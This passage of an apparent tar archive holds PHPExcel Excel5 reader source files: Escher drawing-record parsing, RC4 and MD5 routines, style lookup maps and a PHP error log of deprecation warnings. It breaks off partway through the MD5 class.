{ // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; $pos = 0; // offset: 0; size: 16; rgbUid1 (MD4 digest of) $rgbUid1 = substr($recordData, 0, 16); $pos += 16; // offset: 16; size: 16; rgbUid2 (MD4 digest), only if $recInstance = 0x46B or 0x6E3 if (in_array($recInstance, array(0x046B, 0x06E3))) { $rgbUid2 = substr($recordData, 16, 16); $pos += 16; } // offset: var; size: 1; tag $tag = ord($recordData{$pos}); $pos += 1; // offset: var; size: var; the raw image data $data = substr($recordData, $pos); $blip = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE_Blip(); $blip->setData($data); $this->object->setBlip($blip); } /** * Read BlipPNG record. Holds raw PNG image data */ private function readBlipPNG() { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; $pos = 0; // offset: 0; size: 16; rgbUid1 (MD4 digest of) $rgbUid1 = substr($recordData, 0, 16); $pos += 16; // offset: 16; size: 16; rgbUid2 (MD4 digest), only if $recInstance = 0x46B or 0x6E3 if ($recInstance == 0x06E1) { $rgbUid2 = substr($recordData, 16, 16); $pos += 16; } // offset: var; size: 1; tag $tag = ord($recordData{$pos}); $pos += 1; // offset: var; size: var; the raw image data $data = substr($recordData, $pos); $blip = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE_Blip(); $blip->setData($data); $this->object->setBlip($blip); } /** * Read OPT record. This record may occur within DggContainer record or SpContainer */ private function readOPT() { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; $this->readOfficeArtRGFOPTE($recordData, $recInstance); } /** * Read TertiaryOPT record */ private function readTertiaryOPT() { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read SplitMenuColors record */ private function readSplitMenuColors() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read DgContainer record (Drawing Container) */ private function readDgContainer() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $dgContainer = new PHPExcel_Shared_Escher_DgContainer(); $this->object->setDgContainer($dgContainer); $reader = new PHPExcel_Reader_Excel5_Escher($dgContainer); $escher = $reader->load($recordData); } /** * Read Dg record (Drawing) */ private function readDg() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read SpgrContainer record (Shape Group Container) */ private function readSpgrContainer() { // context is either context DgContainer or SpgrContainer $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $spgrContainer = new PHPExcel_Shared_Escher_DgContainer_SpgrContainer(); if ($this->object instanceof PHPExcel_Shared_Escher_DgContainer) { // DgContainer $this->object->setSpgrContainer($spgrContainer); } else { // SpgrContainer $this->object->addChild($spgrContainer); } $reader = new PHPExcel_Reader_Excel5_Escher($spgrContainer); $escher = $reader->load($recordData); } /** * Read SpContainer record (Shape Container) */ private function readSpContainer() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // add spContainer to spgrContainer $spContainer = new PHPExcel_Shared_Escher_DgContainer_SpgrContainer_SpContainer(); $this->object->addChild($spContainer); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $reader = new PHPExcel_Reader_Excel5_Escher($spContainer); $escher = $reader->load($recordData); } /** * Read Spgr record (Shape Group) */ private function readSpgr() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read Sp record (Shape) */ private function readSp() { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read ClientTextbox record */ private function readClientTextbox() { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read ClientAnchor record. This record holds information about where the shape is anchored in worksheet */ private function readClientAnchor() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // offset: 2; size: 2; upper-left corner column index (0-based) $c1 = PHPExcel_Reader_Excel5::getInt2d($recordData, 2); // offset: 4; size: 2; upper-left corner horizontal offset in 1/1024 of column width $startOffsetX = PHPExcel_Reader_Excel5::getInt2d($recordData, 4); // offset: 6; size: 2; upper-left corner row index (0-based) $r1 = PHPExcel_Reader_Excel5::getInt2d($recordData, 6); // offset: 8; size: 2; upper-left corner vertical offset in 1/256 of row height $startOffsetY = PHPExcel_Reader_Excel5::getInt2d($recordData, 8); // offset: 10; size: 2; bottom-right corner column index (0-based) $c2 = PHPExcel_Reader_Excel5::getInt2d($recordData, 10); // offset: 12; size: 2; bottom-right corner horizontal offset in 1/1024 of column width $endOffsetX = PHPExcel_Reader_Excel5::getInt2d($recordData, 12); // offset: 14; size: 2; bottom-right corner row index (0-based) $r2 = PHPExcel_Reader_Excel5::getInt2d($recordData, 14); // offset: 16; size: 2; bottom-right corner vertical offset in 1/256 of row height $endOffsetY = PHPExcel_Reader_Excel5::getInt2d($recordData, 16); // set the start coordinates $this->object->setStartCoordinates(PHPExcel_Cell::stringFromColumnIndex($c1) . ($r1 + 1)); // set the start offsetX $this->object->setStartOffsetX($startOffsetX); // set the start offsetY $this->object->setStartOffsetY($startOffsetY); // set the end coordinates $this->object->setEndCoordinates(PHPExcel_Cell::stringFromColumnIndex($c2) . ($r2 + 1)); // set the end offsetX $this->object->setEndOffsetX($endOffsetX); // set the end offsetY $this->object->setEndOffsetY($endOffsetY); } /** * Read ClientData record */ private function readClientData() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read OfficeArtRGFOPTE table of property-value pairs * * @param string $data Binary data * @param int $n Number of properties */ private function readOfficeArtRGFOPTE($data, $n) { $splicedComplexData = substr($data, 6 * $n); // loop through property-value pairs for ($i = 0; $i < $n; ++$i) { // read 6 bytes at a time $fopte = substr($data, 6 * $i, 6); // offset: 0; size: 2; opid $opid = PHPExcel_Reader_Excel5::getInt2d($fopte, 0); // bit: 0-13; mask: 0x3FFF; opid.opid $opidOpid = (0x3FFF & $opid) >> 0; // bit: 14; mask 0x4000; 1 = value in op field is BLIP identifier $opidFBid = (0x4000 & $opid) >> 14; // bit: 15; mask 0x8000; 1 = this is a complex property, op field specifies size of complex data $opidFComplex = (0x8000 & $opid) >> 15; // offset: 2; size: 4; the value for this property $op = PHPExcel_Reader_Excel5::getInt4d($fopte, 2); if ($opidFComplex) { $complexData = substr($splicedComplexData, 0, $op); $splicedComplexData = substr($splicedComplexData, $op); // we store string value with complex data $value = $complexData; } else { // we store integer value $value = $op; } $this->object->setOPT($opidOpid, $value); } } } PHPExcel/Reader/Excel5/RC4.php 0000644 00000004750 14642534110 0011612 0 ustar 00 <?php /** * PHPExcel_Reader_Excel5_RC4 * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Excel5_RC4 { // Context protected $s = array(); protected $i = 0; protected $j = 0; /** * RC4 stream decryption/encryption constrcutor * * @param string $key Encryption key/passphrase */ public function __construct($key) { $len = strlen($key); for ($this->i = 0; $this->i < 256; $this->i++) { $this->s[$this->i] = $this->i; } $this->j = 0; for ($this->i = 0; $this->i < 256; $this->i++) { $this->j = ($this->j + $this->s[$this->i] + ord($key[$this->i % $len])) % 256; $t = $this->s[$this->i]; $this->s[$this->i] = $this->s[$this->j]; $this->s[$this->j] = $t; } $this->i = $this->j = 0; } /** * Symmetric decryption/encryption function * * @param string $data Data to encrypt/decrypt * * @return string */ public function RC4($data) { $len = strlen($data); for ($c = 0; $c < $len; $c++) { $this->i = ($this->i + 1) % 256; $this->j = ($this->j + $this->s[$this->i]) % 256; $t = $this->s[$this->i]; $this->s[$this->i] = $this->s[$this->j]; $this->s[$this->j] = $t; $t = ($this->s[$this->i] + $this->s[$this->j]) % 256; $data[$c] = chr(ord($data[$c]) ^ $this->s[$t]); } return $data; } } PHPExcel/Reader/Excel5/Style/FillPattern.php 0000644 00000003057 14642534110 0014545 0 ustar 00 <?php class PHPExcel_Reader_Excel5_Style_FillPattern { protected static $map = array( 0x00 => PHPExcel_Style_Fill::FILL_NONE, 0x01 => PHPExcel_Style_Fill::FILL_SOLID, 0x02 => PHPExcel_Style_Fill::FILL_PATTERN_MEDIUMGRAY, 0x03 => PHPExcel_Style_Fill::FILL_PATTERN_DARKGRAY, 0x04 => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRAY, 0x05 => PHPExcel_Style_Fill::FILL_PATTERN_DARKHORIZONTAL, 0x06 => PHPExcel_Style_Fill::FILL_PATTERN_DARKVERTICAL, 0x07 => PHPExcel_Style_Fill::FILL_PATTERN_DARKDOWN, 0x08 => PHPExcel_Style_Fill::FILL_PATTERN_DARKUP, 0x09 => PHPExcel_Style_Fill::FILL_PATTERN_DARKGRID, 0x0A => PHPExcel_Style_Fill::FILL_PATTERN_DARKTRELLIS, 0x0B => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTHORIZONTAL, 0x0C => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTVERTICAL, 0x0D => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTDOWN, 0x0E => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTUP, 0x0F => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTGRID, 0x10 => PHPExcel_Style_Fill::FILL_PATTERN_LIGHTTRELLIS, 0x11 => PHPExcel_Style_Fill::FILL_PATTERN_GRAY125, 0x12 => PHPExcel_Style_Fill::FILL_PATTERN_GRAY0625, ); /** * Get fill pattern from index * OpenOffice documentation: 2.5.12 * * @param int $index * @return string */ public static function lookup($index) { if (isset(self::$map[$index])) { return self::$map[$index]; } return PHPExcel_Style_Fill::FILL_NONE; } } PHPExcel/Reader/Excel5/Style/Border.php 0000644 00000002267 14642534110 0013540 0 ustar 00 <?php class PHPExcel_Reader_Excel5_Style_Border { protected static $map = array( 0x00 => PHPExcel_Style_Border::BORDER_NONE, 0x01 => PHPExcel_Style_Border::BORDER_THIN, 0x02 => PHPExcel_Style_Border::BORDER_MEDIUM, 0x03 => PHPExcel_Style_Border::BORDER_DASHED, 0x04 => PHPExcel_Style_Border::BORDER_DOTTED, 0x05 => PHPExcel_Style_Border::BORDER_THICK, 0x06 => PHPExcel_Style_Border::BORDER_DOUBLE, 0x07 => PHPExcel_Style_Border::BORDER_HAIR, 0x08 => PHPExcel_Style_Border::BORDER_MEDIUMDASHED, 0x09 => PHPExcel_Style_Border::BORDER_DASHDOT, 0x0A => PHPExcel_Style_Border::BORDER_MEDIUMDASHDOT, 0x0B => PHPExcel_Style_Border::BORDER_DASHDOTDOT, 0x0C => PHPExcel_Style_Border::BORDER_MEDIUMDASHDOTDOT, 0x0D => PHPExcel_Style_Border::BORDER_SLANTDASHDOT, ); /** * Map border style * OpenOffice documentation: 2.5.11 * * @param int $index * @return string */ public static function lookup($index) { if (isset(self::$map[$index])) { return self::$map[$index]; } return PHPExcel_Style_Border::BORDER_NONE; } } PHPExcel/Reader/Excel5/error_log 0000644 00000030660 14642534110 0012425 0 ustar 00 [30-May-2024 05:36:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [30-May-2024 05:36:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [30-May-2024 05:36:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [30-May-2024 05:36:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [30-May-2024 05:36:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [30-May-2024 05:36:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [05-Jun-2024 19:46:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [05-Jun-2024 19:46:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [05-Jun-2024 19:46:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [05-Jun-2024 19:46:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [05-Jun-2024 19:46:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [05-Jun-2024 19:46:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [17-Jun-2024 01:21:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [17-Jun-2024 01:21:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [17-Jun-2024 01:21:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [17-Jun-2024 01:21:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [17-Jun-2024 01:21:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [17-Jun-2024 01:21:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [23-Jun-2024 02:35:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [23-Jun-2024 02:35:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [23-Jun-2024 02:35:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [23-Jun-2024 02:35:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [23-Jun-2024 02:35:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [23-Jun-2024 02:35:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [25-Jun-2024 13:37:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [25-Jun-2024 13:37:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [25-Jun-2024 13:37:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [25-Jun-2024 13:37:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [25-Jun-2024 13:37:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [25-Jun-2024 13:37:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [28-Jun-2024 03:23:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [28-Jun-2024 03:23:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [28-Jun-2024 03:23:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [28-Jun-2024 03:23:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [28-Jun-2024 03:23:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [28-Jun-2024 03:23:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [29-Jun-2024 04:10:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [29-Jun-2024 04:10:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [29-Jun-2024 04:10:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [29-Jun-2024 04:10:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [29-Jun-2024 04:10:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [29-Jun-2024 04:10:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [29-Jun-2024 23:04:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [29-Jun-2024 23:04:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [29-Jun-2024 23:04:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [29-Jun-2024 23:04:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [29-Jun-2024 23:04:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [29-Jun-2024 23:04:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [04-Jul-2024 08:55:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [04-Jul-2024 08:55:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [04-Jul-2024 08:55:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [04-Jul-2024 08:55:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [04-Jul-2024 08:55:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [04-Jul-2024 08:55:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 [05-Jul-2024 14:09:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 283 [05-Jul-2024 14:09:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 286 [05-Jul-2024 14:09:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 289 [05-Jul-2024 14:09:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 292 [05-Jul-2024 14:09:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 334 [05-Jul-2024 14:09:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5/Escher.php on line 375 PHPExcel/Reader/Excel5/MD5.php 0000644 00000017404 14642534110 0011607 0 ustar 00 <?php /** * PHPExcel_Reader_Excel5_MD5 * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Excel5_MD5 { // Context private $a; private $b; private $c; private $d; /** * MD5 stream constructor */ public function __construct() { $this->reset(); } /** * Reset the MD5 stream context */ public function reset() { $this->a = 0x67452301; $this->b = 0xEFCDAB89; $this->c = 0x98BADCFE; $this->d = 0x10325476; } /** * Get MD5 stream context * * @return string */ public function getContext() { $s = ''; foreach (array('a', 'b', 'c', 'd') as $i) { $v = $this->{$i}; $s .= chr($v & 0xff); $s .= chr(($v >> 8) & 0xff); $s .= chr(($v >> 16) & 0xff); $s .= chr(($v >> 24) & 0xff); } return $s; } /** * Add data to context * * @param string $data Data to add */ public function add($data) { $words = array_values(unpack('V16', $data)); $A = $this->a; $B = $this->b; $C = $this->c; $D = $this->d; $F = array('PHPExcel_Reader_Excel5_MD5','f'); $G = array('PHPExcel_Reader_Excel5_MD5','g'); $H = array('PHPExcel_Reader_Excel5_MD5','h'); $I = array('PHPExcel_Reader_Excel5_MD5','i'); /* ROUND 1 */ self::step($F, $A, $B, $C, $D, $words[0], 7, 0xd76aa478); self::step($F, $D, $A, $B, $C, $words[1], 12, 0xe8c7b756); self::step($F, $C, $D, $A, $B, $words[2], 17, 0x242070db); self::step($F, $B, $C, $D, $A, $words[3], 22, 0xc1bdceee); self::step($F, $A, $B, $C, $D, $words[4], 7, 0xf57c0faf); self::step($F, $D, $A, $B, $C, $words[5], 12, 0x4787c62a); self::step($F, $C, $D, $A, $B, $words[6], 17, 0xa8304613); self::step($F, $B, $C, $D, $A, $words[7], 22, 0xfd469501); self::step($F, $A, $B, $C, $D, $words[8], 7, 0x698098d8); self::step($F, $D, $A, $B, $C, $words[9], 12, 0x8b44f7af); self::step($F, $C, $D, $A, $B, $words[10], 17, 0xffff5bb1); self::step($F, $B, $C, $D, $A, $words[11], 22, 0x895cd7be); self::step($F, $A, $B, $C, $D, $words[12], 7, 0x6b901122); self::step($F, $D, $A, $B, $C, $words[13], 12, 0xfd987193); self::step($F, $C, $D, $A, $B, $words[14], 17, 0xa679438e); self::step($F, $B, $C, $D, $A, $words[15], 22, 0x49b40821); /* ROUND 2 */ self::step($G, $A, $B, $C, $D, $words[1], 5, 0xf61e2562); self::step($G, $D, $A, $B, $C, $words[6], 9, 0xc040b340); self::step($G, $C, $D, $A, $B, $words[11], 14, 0x265e5a51); self::step($G, $B, $C, $D, $A, $words[0], 20, 0xe9b6c7aa); self::step($G, $A, $B, $C, $D, $words[5], 5, 0xd62f105d); self::step($G, $D, $A, $B, $C, $words[10], 9, 0x02441453); self::step($G, $C, $D, $A, $B, $words[15], 14, 0xd8a1e681); self::step($G, $B, $C, $D, $A, $words[4], 20, 0xe7d3fbc8); self::step($G, $A, $B, $C, $D, $words[9], 5, 0x21e1cde6); self::step($G, $D, $A, $B, $C, $words[14], 9, 0xc33707d6); self::step($G, $C, $D, $A, $B, $words[3], 14, 0xf4d50d87); self::step($G, $B, $C, $D, $A, $words[8], 20, 0x455a14ed); self::step($G, $A, $B, $C, $D, $words[13], 5, 0xa9e3e905); self::step($G, $D, $A, $B, $C, $words[2], 9, 0xfcefa3f8); self::step($G, $C, $D, $A, $B, $words[7], 14, 0x676f02d9); self::step($G, $B, $C, $D, $A, $words[12], 20, 0x8d2a4c8a); /* ROUND 3 */ self::step($H, $A, $B, $C, $D, $words[5], 4, 0xfffa3942); self::step($H, $D, $A, $B, $C, $words[8], 11, 